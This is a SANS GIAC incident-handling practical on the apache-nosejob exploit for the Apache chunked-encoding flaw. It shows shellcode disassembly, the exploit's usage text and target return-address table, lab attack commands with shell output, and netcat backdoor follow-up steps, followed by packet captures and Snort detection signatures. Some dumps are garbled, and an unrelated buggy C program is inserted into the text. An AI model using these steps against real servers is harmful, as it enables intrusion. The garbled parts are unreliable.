0x804baaa <shellcode+138>:  je    0x804bab7 <shellcode+151>
0x804bab0 <shellcode+140>:  pop   %eax
0x804bab4 <shellcode+144>:  cmp   $0x4f,%cl
0x804bab8 <shellcode+146>:  jne   0x804babf <shellcode+155>
0x804bab9 <shellcode+147>:  jmp   0x804bae7 <shellcode+151>
0x804babe <shellcode+150>:  xor   %eax,%eax
0x804babf <shellcode+151>:  xor   %eax,%eax
0x804bb5 <shellcode+153>:  push  %eax
0x804bb6 <shellcode+154>:  push  %eax
0x804bb7 <shellcode+155>:  push  %ecx
0x804bb8 <shellcode+156>:  xor   %eax,%eax
0x804bb9 <shellcode+157>:  push  %eax
0x804bba <shellcode+158>:  push  %eax
0x804bbb <shellcode+159>:  push  %eax
0x804bbd <shellcode+160>:  int   $0x80
```

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
4.3.d. Usage

The "usage"-printout of this exploit is pretty straightforward and shows everything needed to successfully exploit a FreeBSD, NetBSD or OpenBSD machine.

Usage: ./apache-nosejob [-switches] -h host[:80]

- host[:port] Host to penetrate
- t Target id.
- o char Default values for the following OSes (f)reebsd, (o)penbsd, (n)etbsd
- b 0x12345678 Base address used for bruteforce
- d -nnn memcpy() delta between s1 and addr to overwrite
- z # Numbers of time to repeat \0 in the buffer
- r # Number of times to repeat retadd in the buffer
- w # Maximum number of seconds to wait for shellcode reply
- c cmdz Commands to execute when our shellcode replies aka auto0wncmdz
Examples will be published in upcoming apache-scalp-HOWTO.pdf

<table>
<thead>
<tr>
<th>ID</th>
<th>Return addr</th>
<th>Target specification</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0x080f3a00</td>
<td>FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)</td>
</tr>
<tr>
<td>1</td>
<td>0x080a7975</td>
<td>FreeBSD 4.5 x86 / Apache/1.3.23 (Unix)</td>
</tr>
<tr>
<td>2</td>
<td>0x000cfa00</td>
<td>OpenBSD 3.0 x86 / Apache 1.3.20</td>
</tr>
<tr>
<td>3</td>
<td>0x0008f0aa</td>
<td>OpenBSD 3.0 x86 / Apache 1.3.22</td>
</tr>
<tr>
<td>4</td>
<td>0x00090600</td>
<td>OpenBSD 3.0 x86 / Apache 1.3.24</td>
</tr>
<tr>
<td>5</td>
<td>0x0009ba00</td>
<td>OpenBSD 3.0 x86 / Apache 1.3.24 #2</td>
</tr>
<tr>
<td>6</td>
<td>0x0008f2a6</td>
<td>OpenBSD 3.1 x86 / Apache 1.3.20</td>
</tr>
<tr>
<td>7</td>
<td>0x00090600</td>
<td>OpenBSD 3.1 x86 / Apache 1.3.23</td>
</tr>
<tr>
<td>8</td>
<td>0x0009011a</td>
<td>OpenBSD 3.1 x86 / Apache 1.3.24</td>
</tr>
<tr>
<td>9</td>
<td>0x0009011a</td>
<td>OpenBSD 3.1 x86 / Apache 1.3.24 #2</td>
</tr>
<tr>
<td>10</td>
<td>0x001d7a00</td>
<td>OpenBSD 3.1 x86 / Apache 1.3.24 PHP 4.2.1</td>
</tr>
<tr>
<td>11</td>
<td>0x080eda00</td>
<td>NetBSD 1.5.2 x86 / Apache 1.3.12 (Unix)</td>
</tr>
<tr>
<td>12</td>
<td>0x080efa00</td>
<td>NetBSD 1.5.2 x86 / Apache 1.3.20 (Unix)</td>
</tr>
<tr>
<td>13</td>
<td>0x080f0fa0</td>
<td>NetBSD 1.5.2 x86 / Apache 1.3.22 (Unix)</td>
</tr>
<tr>
<td>14</td>
<td>0x080f0fa0</td>
<td>NetBSD 1.5.2 x86 / Apache 1.3.23 (Unix)</td>
</tr>
<tr>
<td>15</td>
<td>0x080f0fa0</td>
<td>NetBSD 1.5.2 x86 / Apache 1.3.24 (Unix)</td>
</tr>
</tbody>
</table>

This "help" function explains how to use this exploit against various systems. Even the smallest kid can use this exploit.

4.4. Description and diagram of the attack

Performing an attack using this exploit is a fairly simple task to do with the Usage message shown above. All the attacks in this chapter are performed in a test lab environment (from which the network diagram is shown in figure 1: Diagram of the test lab network).

The dataflow for both the attacks can be seen in the following diagram:

![Diagram of an Attack](image)

I have tested this exploit against several systems. The successful attacks were against OpenBSD & NetBSD (see also the machines described in 4.1.b). At the end of this section you can find the behavior for other systems. The other systems tested are FreeBSD 4.5 and RedHat Linux 7.3.

4.4.a. Attack 1: The OpenBSD machine

The first attack was directed against the OpenBSD machine. I used a predefined target for this attack (target nr 7 from the list shown in “3.3.c Usage”)
Command used to attack the OpenBSD machine:

```
./apache-nosejob -t 7 -h 192.168.254.53:80
```

After compromising the system I issued an “ls –l” command. I could have put that command into the “default_cmdz” variable but then I would not to be able to show you that almost a “real” shell is present and that we can execute commands as we please. A “real” shell would give a prompt back as well. This isn’t the case with the shell we’ve got using this exploit.

Output from an attack against the OpenBSD machine:

```
[attacker]# ./apache-nosejob -t 7 -h 192.168.254.53:80
[*] Resolving target host.. 192.168.254.53
[*] Connecting.. connected!
[*] Exploit output is 32322 bytes
[*] Currently using retaddr 0x90600
  it's a TURKEY: type=OpenBSD 3.1 x86 / Apache 1.3.23, delta=-146, 
retaddr=0x906000, repetaddr=6, repzero=36
Experts say this isn't exploitable, so nothing will happen now: *GOBBLE*
OpenBSD open 3.1 GENERIC#59 i386
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t
ls -l
```

<table>
<thead>
<tr>
<th>mode</th>
<th>perm</th>
<th>owner</th>
<th>group</th>
<th>size</th>
<th>date</th>
<th>file</th>
</tr>
</thead>
<tbody>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>altroot</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>1024</td>
<td>Apr 13 23:07</td>
<td>bin</td>
</tr>
<tr>
<td>-r-x</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>53248</td>
<td>Jul 3 16:26</td>
<td>boot</td>
</tr>
<tr>
<td>-rw-r--r--</td>
<td>root</td>
<td>wheel</td>
<td>4543036</td>
<td>Jul 3 16:23</td>
<td>bsd</td>
<td></td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>19968</td>
<td>Aug 16 13:35</td>
<td>dev</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>2048</td>
<td>Jul 6 09:30</td>
<td>etc</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>home</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>mnt</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Jul 11 15:26</td>
<td>root</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>2048</td>
<td>Apr 13 23:11</td>
<td>sbin</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>stand</td>
</tr>
<tr>
<td>lrwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>11</td>
<td>Jul 3 16:21</td>
<td>sys -&gt; /usr/src/sys</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Aug 16 13:46</td>
<td>tmp</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>usr</td>
</tr>
<tr>
<td>drwx</td>
<td>r-x</td>
<td>root</td>
<td>wheel</td>
<td>512</td>
<td>Apr 13 23:04</td>
<td>var</td>
</tr>
</tbody>
</table>

In the output from the exploit, we see that first the default commands are executed. First is the output from “uname -a” which shows the target operating system and release number. Second is the output from “id”: these are the rights that we currently have on the target machine (in this case user “nobody”).

We can see from the “ls –l” output that everybody can read, write and even execute files in and from the /tmp directory. An attacker could now create files in this temporary directory or download files to that directory and execute those created or downloaded files.

We can state the following steps as possible next things an attacker might try to do to get additional or even better access to the target system. These steps have been verified in the test lab environment.

- Use tftp to download Netcat or another backdoor/Trojan to the target system
- Compile Netcat with the Gaping Security Hole feature enabled
• Let Netcat listen on a certain port or use Netcat to connect to the attacker machine on a certain port.

A test with a web browser learns that the webserver is still active at this point. So detection due to unavailability of the web service is not the case here.

The packet capture from this attack:
The packet capture is separated into 2 parts. In the first part, you can find the packets as they are sniffed from the network (the raw packet data). To save space, similar packets are left out and therefore, only relevant packets are shown. The second part shows the output from the “follow tcp stream” functionality of ethereal of the same packets as from the raw packet data.

Part 1: raw packet data
We can see the session being established (the three way handshake completes) and then we can see a lot of http packets flowing across the network until the tftp command starts, after which again a lot of http packets are being sent and received. In the end we can see a nice tear down of the connection.

```
22:02:52.764216 192.168.254.3.1036 > 192.168.254.53.80: S 73965031:73965031(0)
win 5840 <mss 1460,sackOK,timestamp 2000376 0,nop,wscale 0> (DF)
22:02:52.768665 192.168.254.53.80 > 192.168.254.3.1036: S
2586800074:2586800074(0) ack 73965032 win 17376 <mss 1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 216943329 2000376> (DF)
22:02:52.768785 192.168.254.3.1036 > 192.168.254.53.80: . ack 1 win 5840
22:02:52.786629 192.168.254.53.80 > 192.168.254.3.1036: . ack 73965032 win 11580
22:02:52.786728 192.168.254.3.1036 > 192.168.254.53.80: .1449:2897(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.791040 192.168.254.53.80 > 192.168.254.3.1036: . ack 2897 win 14480
22:02:52.791144 192.168.254.3.1036 > 192.168.254.53.80: P 8689:10137(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.791170 192.168.254.3.1036 > 192.168.254.53.80: . 4345:7593(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.791188 192.168.254.3.1036 > 192.168.254.53.80: . 5793:7241(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.795492 192.168.254.3.1036 > 192.168.254.53.80: . ack 5793 win 11580
22:02:52.795557 192.168.254.3.1036 > 192.168.254.53.80: . 7241:8689(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.795581 192.168.254.3.1036 > 192.168.254.53.80: P 8689:10137(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)
22:02:52.795597 192.168.254.3.1036 > 192.168.254.53.80: . 10137:11585(1448) ack 1 win 5840 <nop,nop,timestamp 2000379 216943329> (DF)

--- output left out for reading purposes, all packets are http data packets ---

22:03:08.912573 192.168.254.3.1036 > 192.168.254.53.80: P 32458:32476(18) ack 1010 win 8310 <nop,nop,timestamp 2001991 216943353> (DF)
22:03:08.960749 192.168.254.3.1024 > 192.168.254.3.69: 25 RRQ "netcat.tar.gz"
22:03:08.979709 192.168.254.3.20402 > 192.168.254.3.1024: udp 4

--- rest of tftp packets left out for reading purposes ---
```
Part 2: follow tcp stream output

With the “follow tcp stream” functionality of ethereal, we can easily see the content of the packets. The drawback is that this is an ASCII representation of the data and that special characters are not visible. The HEX output can be seen in section 4.5a.

The first big part (X-CCCCCCC: section) is the exploit code as it is being sent over the network. This is the content of the exploit buffer “expbuf” from the data packets as it is being sent.

The output in hexadecimal format can be seen in section 4.5 Signature.

The second big part is the X-AAAA: section. This is the populator code from the exploit.

--- output left out for reading purposes (the previous section in X-CCCCCCC: is repeated 23 more times before the X-AAAA: section begins) ---

```
GET / HTTP/1.1
Host: apache

--- output left out for reading purposes (the previous section in X-CCCCCCC: is repeated 23 more times before the X-AAAA: section begins) ---

```
The characters that you can see coming right after the “chunked-encoding” header are the responses coming back from the server. As soon as more than 2 “G” characters are received, the victim is considered to be compromised and we can start executing other commands after the commands from “default_cmdz” are executed.

4.4.b. Attack 2: The NetBSD machine

For the second attack (against the NetBSD machine), the brute-forcing capabilities of the exploit were used. The output will be somewhat different than the output of the previous attack but the result is almost equal. There will also be a lot more packets traveling across the network directed to the target due to our attempts to brute force our way into the system.
You can see the little status bar below (ppPPp…) indicating that the Brute Forcing is being performed.

Output of the attack:

```
[attacker]# ./apache-nosejob -o n -h 192.168.254.52:80
[*] Resolving target host... 192.168.254.52
[*] Connecting... connected!
[*] Exploit output is 32370 bytes
[*] Currently using retaddr 0x80e0000
```
Same behavior here as with the OpenBSD machine: the website is still available for regular users.

Now we can again download a backdoor or Trojan to the target system. The next possible steps are the same as for the OpenBSD machine (see section 4.4.a)

The packet capture of the attack:

Again, the first part shows the tcp packets as these are sniffed from the wire, the second part is the “follow tcp stream” functionality of ethereal to display the ASCII characters of the packets.

Part 1: tcp packets

Since this attack was a brute force attack, several connections were initiated against the target. Only the last connection is completely shown (this is the successful connection). The several brute force attempts before the successful attack are recognizable since the originating port numbers each time increase with only 1 (as can be seen in following sample of a Tcpdump output)

```
22:13:04.368210 192.168.254.3.1168 > 192.168.254.52.80: S 744232987:744232987(0) win 5840 <mss 1460,sackOK,timestamp 2061537 0,nop,wscale 0> (DF)
22:13:04.506467 192.168.254.3.1169 > 192.168.254.52.80: S 745456166:745456166(0) win 5840 <mss 1460,sackOK,timestamp 2061550 0,nop,wscale 0> (DF)
22:13:04.631768 192.168.254.3.1170 > 192.168.254.52.80: S 740399680:740399680(0) win 5840 <mss 1460,sackOK,timestamp 2061563 0,nop,wscale 0> (DF)
22:13:04.719497 192.168.254.3.1171 > 192.168.254.52.80: S 739559144:739559144(0) win 5840 <mss 1460,sackOK,timestamp 2061572 0,nop,wscale 0> (DF)
```

The incrementing of the source port continuous until the packet with source port 1291.
The Tcpdump output of the successful attempt:

```
22:13:32.010182 192.168.254.3.1292 > 192.168.254.52.80: S 762449325:762449325(0)
win 5840 <mss 1460,sackOK,timestamp 2064301 0,nop,wscale 0> (DF)
22:13:32.239849 192.168.254.52.80 > 192.168.254.3.1292: S 3950487411:3950487411(0) ack 762449326 win 16384 <mss 1460,nop,wscale 0,nop,nop,timestamp 498 2064301>
<nop,nop,timestamp 2064324 498> (DF)
22:13:32.240631 192.168.254.3.1292 > 192.168.254.52.80: . 1:1449(1448) ack 1
win 5840 <nop,nop,timestamp 2064324 498> (DF)
win 5840 <nop,nop,timestamp 2064324 498> (DF)
win 5840 <nop,nop,timestamp 2064324 498> (DF)
<nop,nop,timestamp 498 2064324>
win 5840 <nop,nop,timestamp 2066198 527> (DF)
<nop,nop,timestamp 536 2066198>
22:14:19.775364 192.168.254.3.1292 > 192.168.254.52.80: F 32572:32572(0) ack 3288
win 13244 <nop,nop,timestamp 601 2069406>
```
Part 2: follow tcp stream

We can see here that the exploit code is almost exactly the same as for the attack against the OpenBSD machine. The populators are different for NetBSD and for OpenBSD.

```
GET / HTTP/1.1
Host: apache-nosejob.c
X-CCCCCCC: 

---
```

```
Transfer-Encoding: chunked

---
```

```
uname -a;id;echo 'hehe, now use another bug/backdoor/feature (hi Theo!) to gain instant r00t';
```

Again there are more than 2 “G” characters received. Thus the victim is considered to be compromised.

4.4.c. General

From the sniffer output we learned that everything is passing over port 80 (http) (except for the tftp traffic of course). We can therefore conclude that a firewall without content checking isn’t providing any sort of protection against this type of attack.
We can now complete our table from **4.1.d. Vulnerability check:**

<table>
<thead>
<tr>
<th>Tool used</th>
<th>OpenBSD Machine</th>
<th>NetBSD Machine</th>
</tr>
</thead>
<tbody>
<tr>
<td>Apache Chunked Scanner</td>
<td>Vulnerable</td>
<td>Not Vulnerable</td>
</tr>
<tr>
<td>Nessus</td>
<td>Vulnerable</td>
<td>Vulnerable</td>
</tr>
<tr>
<td>Exploit</td>
<td>Vulnerable</td>
<td>Vulnerable</td>
</tr>
</tbody>
</table>

4.4.d. Behavior of the exploit against other systems

I tried the available exploit against some other systems as well. The behavior of the other systems and apache servers installed on those other systems is mentioned. The Linux machine is included in the list since it is very likely that script kiddies, who see a webserver with a version id that is in the list of vulnerable systems, will simply run this exploit without further investigations of the target operating system. It is also imaginable that a firewall and/or an application level firewall prevents an operating system guess or gives back wrong operating system information.

- FreeBSD 4.5 machine with apache 1.3.23
  - Using the exploit with the predefined targets didn’t work
  - Using the brute forcing method didn’t work
  - The configured website was available at all times

- RedHat Linux 7.3 machine with apache 1.3.23
  - No attacks succeeded
  - The configured website was available at all times

4.5. Signature of the attack

When the target system has been installed with the default settings, not many traces exist of the intrusion with this exploit. The only traces in log files (system log files as well as the log files from apache) are those found in the apache log file “error.log”.

If the connections are looked up with netstat, we can of course see the connection to port 80 coming from the attacker’s machine but this looks like a regular http connection since it is on port 80. The only strange thing regarding this connection is that the duration would be longer than regular web browser connections. If the netstat command is issued frequently, this could be noticed and puts some minds into alert mode.

With a package such as “lsof” (get this from ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/) which lists all open files and files currently in use by all users, we can see what files are in use by what user together with some other juicy details. When the command “lsof” is executed at the moment of an ongoing attack, we could see that the shell file “/bin/sh” was in used by the user “nobody”. Since this user shouldn’t be able to login to the system and therefore not be able to launch commands using a shell like /bin/sh, this should again trigger alarms in the head of a security officer.
If the remote site has an Intrusion detection system (IDS) installed and configured properly, detection of this attack would be very quick and fairly easy. I only tested this with Snort as Intrusion detection. Ongoing attacks can be easily verified with nothing more than a sniffer (either on the target system itself or on the network – using a hub or a span port on a switch). Here you can also find the signature of the attack. If the exploit code hasn’t been altered, the signature is straightforward as the host-field contains the following string: “apache-nosejob.c”. Together with the high number of A’s and some reference to the author of the exploit (GOBBLES) the signature is complete. In section 4.5.b can be send what triggers the snort Intrusion Detection system capturing this attack. I’ve investigated also if more logging was possible next to the default settings. This can be useful to detect this attack in an easier and quicker way (especially when no IDS system is used).

4.5.a. Signature data
This part contains the signature data as it was captured by using snort. The command given to get these results is:

```
snort -dve > snort-signature
```

This displays the packets with their ASCII representation as well as with their hexadecimal representation.

**Signature of the attack against OpenBSD system:**

```
09/07-12:47:41.146473 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x4A
DgmLen:60 DF
******S* Seq: 0xCD4FC514 Ack: 0x0 Win: 0x16D0 TcpLen: 40
TCP Options (5) => MSS: 1460 SackOK TS: 1056541 0 NOP WS: 0
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/07-12:47:41.423996 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x4E
DgmLen:64 DF
***A**S* Seq: 0x2A020AEF Ack: 0xCD4FC515 Win: 0x43E0 TcpLen: 44
TCP Options (9) => MSS: 1460 NOP NOP SackOK NOP WS: 0 NOP NOP
TCP Options => TS: 1156647665 1056541
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/07-12:47:41.424150 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x42
DgmLen:52 DF
***** Seq: 0xCD4FC515 Ack: 0x2A020AF0 Win: 0x16D0 TcpLen: 32
TCP Options (3) => MSS: 1460 NOP NOP SackOK NOP WS: 0 NOP NOP
TCP Options => TS: 1156647665 1056542
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
09/07-12:47:41.464563 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x5E
DgmLen:1500 DF
***** Seq: 0xCD4FC515 Ack: 0x2A020AF0 Win: 0x16D0 TcpLen: 32
TCP Options (3) => MSS: 1460 NOP NOP SackOK NOP WS: 0 NOP NOP
TCP Options => TS: 1156647665 1056546
47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A  GET / HTTP/1.1
48 6F 73 74 3A 20 61 70 61 63 68 65 2D 6E 6F 73  Host: apache-nos
65 6A 6F 62 2E 63 6D 0A 58 2D 43 43 43 43 43 43  ejob.c...X-CCCCCCC
43 3A 20 41 41 41 41 41 41 41 41 41 41 41 41 41  C: AAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAA
```

GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c

```c
#include <stdio.h>
#include <assert.h>

#define CHUNKSIZE 1024

int main(int argc, char *argv[]) {
    FILE *fp;
    unsigned char *buffer = (unsigned char *) malloc(CHUNKSIZE);
    int chunk, bytes_in_chunk, bytes_read;
    char *p;

    if ((fp = fopen(argv[1], "rb")) == NULL) {
        fprintf(stderr, "Cannot open file %s
", argv[1]);
        return 1;
    }

    while ((chunk = fread(buffer, 1, CHUNKSIZE, fp)) > 0) {
        bytes_in_chunk = strlen((char *) buffer);
        if (bytes_in_chunk > 0) {
            printf("%d %d
", bytes_in_chunk, chunk);
            for (p = buffer; bytes_in_chunk > 0; bytes_in_chunk--)
                printf("%c", *p);
            printf("\n");
        }
        free(buffer);
        buffer = (unsigned char *) malloc(CHUNKSIZE);
    }

    fclose(fp);
    return 0;
}
```

Dieter Sarrazyn

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
TCP Options (3) => NOP NOP TS: 1156647665 1056574

--- The X-CCCCCCC part is repeated for 23 times, identical packets have been left out for reading purposes ---

--- The X-AAAAA part is also repeated for 23 times, identical packets have been left out for reading purposes ---

Dieter Sarrazyn
GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c

DgmLen:52 DF
******* Seq: 0xA2020AF0 Ack: 0xCD504357 Win: 0x25C6 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056647665 1056647664
09/07-12:47:41.921239 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x42
DgmLen:52 DF
******* Seq: 0xA2020AF0 Ack: 0xCD504357 Win: 0x35C6 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056647665 1056647664
09/07-12:47:42.071925 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x46
DgmLen:56 DF
***AP*** Seq: 0xC504357 Ack: 0xA2020AF4 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056607 1056607
09/07-12:47:42.072074 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x42
DgmLen:52 DF
***AP*** Seq: 0xCD504357 Ack: 0xA2020AF4 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056607 1056607
09/07-12:47:42.073339 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x43
DgmLen:53 DF
***AP*** Seq: 0xCD504357 Ack: 0xA2020AF4 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056607 1056607
09/07-12:47:42.081871 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x4B
DgmLen:61 DF
***AP*** Seq: 0xCD504357 Ack: 0xA2020AF4 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056607 1056607
09/07-12:47:42.081968 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x42
DgmLen:147 DF
***AP*** Seq: 0xCD504358 Ack: 0xA2020AFD Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056608 1056608
09/07-12:47:42.323549 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x43
DgmLen:52 DF
***AP*** Seq: 0xCD504385 Ack: 0xA2020AFD Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056608 1056608
09/07-12:47:42.411000 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x63
GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c


***AP*** Seq: 0x2A020AFD Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056647666 1156647666
09/07-12:47:42.448519 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x42
192.168.254.3:1028 -> 192.168.254.53:80 TCP TTL:64 TOs:0x0 ID:55845 IpLen:20 DgmLen:52 DF

***Ap*** Seq: 0xCD5043B7 Ack: 0x2A020B1E Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.5525 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x7B

***AP*** Seq: 0xCD5043B7 Ack: 0xA2020B1E Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.577240 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x42
192.168.254.3:1028 -> 192.168.254.53:80 TCP TTL:64 TOs:0x0 ID:55846 IpLen:20 DgmLen:52 DF

***Ap*** Seq: 0xCD5043B7 Ack: 0xA2020B1E Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.582042 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x42

***AP*** Seq: 0xA2020B1E Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.597240 0:40:5:50:CA:57 -> 0:50:56:40:0:4A type:0x800 len:0x42
192.168.254.3:1028 -> 192.168.254.53:80 TCP TTL:64 TOs:0x0 ID:12221 IpLen:20 DgmLen:52 DF

***AP*** Seq: 0xA2020B1E Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.612240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x8D

***AP*** Seq: 0xA2020B1E Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.627240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x42
192.168.254.3:1028 -> 192.168.254.53:80 TCP TTL:64 TOs:0x0 ID:55847 IpLen:20 DgmLen:52 DF

***AP*** Seq: 0xCD5043B7 Ack: 0xA2020B57 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1056645 1156647666
09/07-12:47:42.642240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x8E

***AP*** Seq: 0xA2020B57 Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1156647666 1056645
09/07-12:47:42.657240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x8E

***AP*** Seq: 0xA2020B57 Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1156647666 1056645
09/07-12:47:42.672240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x8E

***AP*** Seq: 0xA2020B57 Ack: 0xCD5043B7 Win: 0x43E0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 1156647666 1056645
09/07-12:47:42.687240 0:50:56:40:0:4A -> 0:40:5:50:CA:57 type:0x800 len:0x8E

ls -l.

total 9066 drwxr-xr-x 2 root wheel 512 A
--- output of the ls -l command has been left out for reading purposes ---

78 72 2D 78 20 20 32 34 20 72 6F 74 79 6E 67 20 20 20 20 31 33 20 31 33 20 31 33 3A 30 34 20 76 61 72 0A

Dieter Sarrazyn

Signature of the attack against NetBSD system:
The signature for the attack against the NetBSD is similar except for the fact that a lot more packets are being sent to the target since this attack was initiated in brute force mode. To indicate the difference a little bit: the size of the captured data with snort for the OpenBSD system was 159 KB while the size of the captured data for the NetBSD system was 18308 KB.

4.5.b. Snort IDS events in “alert”
These are the events as found in the snort log (/var/log/snort/alert for default installations). First a “Chunked Encoding” event appeared in the log file, followed by an “id command attempt” event.

OpenBSD

```bash
[Classification: Web Application Attack] [Priority: 1]
TCP TTL:64 TO:0x0 ID:39885 IpLen:20 DgmLen:518 DF
TCP Options (3) => NOP NOP TS: 63932 517661934
[Xref => http://www.securityfocus.com/bid/4474]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0079]
```
GCIH Practical Assignment: Apache Web Server Chunk Handling – apache-nosejob.c

Note that the source port for both events is the same. This is because we have used a predefined target which is a direct hit.

NetBSD

Note that here, we have different source ports in the 2 events. This is because we have used the brute forcing functionality of the exploit.

Snort IDS rules used (for both attacks)

- “Transfer Encoding” from web-misc.rules

This trigger is activated when
1. traffic is directed to a webserver on a http port (80/tcp for example)
2. multiple A’s occur in the http request
3. the “chunked-encoding:" header is in the message and
4. the “chunked” entry is in the header

- “Id command attempt” from web-attacks.rules

This trigger is activated when
1. Traffic is directed to a webserver on a http port
2. multiple A’s occur in the http request
3. “id” is in the request
4.5.c. Apache logs
For a default installation of the apache webserver we have the following situations:

**OpenBSD**
In the apache log file `/usr/local/apache/log/error_log`, we can find the following entries:

```plaintext
[Sat Aug 17 15:26:12 2002] [notice] child pid 18998 exit signal Segmentation fault (11)
```

**NetBSD**
The error messages appearing in the `/usr/local/apache/logs/error_log` on the NetBSD server were a mix of the following messages. This is due to the brute force mode I used to get onto this system.

```plaintext
